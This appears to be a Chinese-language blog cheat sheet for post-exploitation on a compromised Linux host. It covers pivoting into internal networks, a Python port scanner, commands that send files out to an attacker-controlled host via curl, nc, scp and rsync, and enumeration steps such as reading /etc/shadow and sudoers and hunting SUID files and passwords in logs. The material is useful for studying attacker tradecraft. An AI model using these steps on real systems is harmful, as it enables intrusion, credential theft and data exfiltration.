linux信息搜集

说一下场景，有些情况下，拿到边界机器后纵向拓展，内网套内网，工控设备前面的内网接入点可能就是一个arm或者阉割了的linux。

一个宗旨linux下面万物皆文件

 收集到基础信息之后，内网资产收集，可以通过上传对应的frpc，npc，传msf的马子（免杀）添加路由代理socks，使用masscan+nmap进行内网空间测绘，还有一种类比于拿到windowsrdp登录权限传工具上去扫，传sh脚本或者python脚本在当前主机搜集，整理写了一个轻量化的单线程tcp扫描脚本

#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *

def portScanTu(host,port):
    try:
        s = socket(AF_INET,SOCK_STREAM)
        s.connect((host,port))
        print('[+] %d open' % port)
        s.close()
    except:
        print('[-] %d close' % port)

def main():
    setdefaulttimeout(1)
    for p in range(1,1024):
        portScanTu('172.20.1.11',p)

if __name__ == '__main__':
    main()

当目标服务器有python的话就好说了，直接通过python进行资产测绘。

还有一个痛点，如何往外传文件，可以使用ew，venom（坑点，下周采坑）进行多级代理

外层主机搭建一个接收文件服务器，使用curl传

curl 172.20.1.1:5555/ -F "file=@/haha/image/img_1579831030539.jpeg"

scp传

scp 1.tar root@192.168.2.113:/tmp

nc传

目标机(接收机器):
nc -l 1234 >mysql-bin.000001
#源机器: 文件的发送端，启动监听端口并准备好相应的文件
nc 接收机ip 1234 <  mysql-bin.000001

python起web服务往外传

python -m SimpleHTTPServer 9999
python3 -m http.server 9999

rsync传

rsync -P --rsh=ssh home.tar 192.168.205.34:/home/home.tar

当上述命令都没有时，转换一下思路，看是否有下载命令可用，直接下载上述命令

参考有关命令整理https://mp.weixin.qq.com/s/9fIzFM8vB6IgWoWatC_ICw

基础，获取内核，操作系统和设备信息

uname -a	打印所有可用的系统信息
uname -r	内核版本信息
uname -n	系统主机名字
hostname	主机名
uname -m	Linux内核架构（x86/x64）
cat /proc/version	内核信息
cat /etc/*-release	发布信息
cat /etc/issue	发布信息
cat /proc/cpuinfo	CPU信息
df -a	文件系统信息

查看用户和组信息

cat /etc/passwd	列出系统所有用户
cat /etc/group	列出系统所有组
cat /etc/shadow	列出所有用户hash（需要root权限）
finger、finger user	当前登录的用户、查询用户的基本信息
users	当前登录的用户
who -a	当前登录的用户
w	显示目前登入系统的用户有那些人，以及他们正在执行的程序
last	显示登入过的用户信息
lastlog	显示系统中所有用户最近一次登录信息
lastlog –u %username%	显示指定用户最后一次登入信息

用户权限信息

whoami	当前用户
id	当前用户信息
cat /etc/sudoers	可以使用sudo提升到root的用户（需要root权限）
sudo	允许普通用户执行一些或者全部的root命令的一个工具
sudo -l	列出目前用户可执行与无法执行的指令
su	切换当前用户身份到其他用户身份

环境信息

env	打印系统环境信息
set	打印系统环境信息
echo $PATH	环境变量中的路径信息
history	打印历史命令
pwd	显示当前路径
cat /etc/profile	显示默认系统遍历
cat /etc/shells	显示可用的shell

有用的命令

find / -perm -4000 -type f	查找SUID的文件
find / -uid 0 -perm -4000 -type f	查找root权限的SUID文件
find / -perm -2 -type f	找出可写的文件
find / ! -path "/proc/" -perm -2 -type f -print	查找/proc以外的可写文件
find / -perm -2 -type d	找出可写目录
find /home –name *.rhosts -print	查找rhosts的配置文件
find /home -iname *.plan -exec ls -la {} ; -exec cat {}	查询文件并打印
ls -ahlR /root/	查看是否有权限列用户目录
cat ~/.bash_history	查看当前用户的历史记录
ls -la ~/.*_history	查看当前用户的各种历史记录
ls -la ~/.ssh/	查看用户ssh登录信息
ls -la /usr/sbin/in.*	检查inetd服务的配置
grep -l -i pass /var/log/*.log	查询包含pass的日志并打印匹配到的行
ls -la /etc/*.conf	列出/etc/下的所有配置文件
lsof -i -n	列出打开的文件
head /var/mail/root	答应/var/mail/root的开头

服务信息

ps aux	查看进程信息
cat /etc/inetd.conf	由inetd管理的服务列表
cat /etc/xinetd.conf	由xinetd管理的服务列表
cat /etc/exports	nfs服务器的配置

作业和任务

crontab -l -u %username%	显示指定用户的计划作业（需要root权限）
ls -la /etc/cron*	计划任务
top	列出当前进程

网络、路由和通信

/sbin/ifconfig -a	列出网络接口信息
cat /etc/network/interfaces	列出网络接口信息
arp -a	查看系统arp表
route	打印如有信息
cat /etc/resolv.conf	查看dns配置信息
netstat -an	打印本地端口开放信息
iptables -L	列出iptable的配置规则
cat /etc/services	查看端口服务映射

软件信息

 

dpkg -l	软件安装（Debian）
rpm -qa	软件安装（Red Hat）
sudo -V	查看sudo的版本信息
httpd -v	查看apache的版本信息
apache2 -v	查看apache的版本信息
apache2ctl (or apachectl) -M	列出加载的apache模块
mysql --version	mysql的版本信息
psql -V	Postgres数据库的版本信息
perl -v	perl的版本信息
java -version	java的版本信息
python --version	python的版本信息
ruby -v	ruby的版本信息
find / -name %program_name%	查找有用的软件
which %program_name%	查找有用的软件
cat /etc/apache2/envvars	查看运行apache的帐号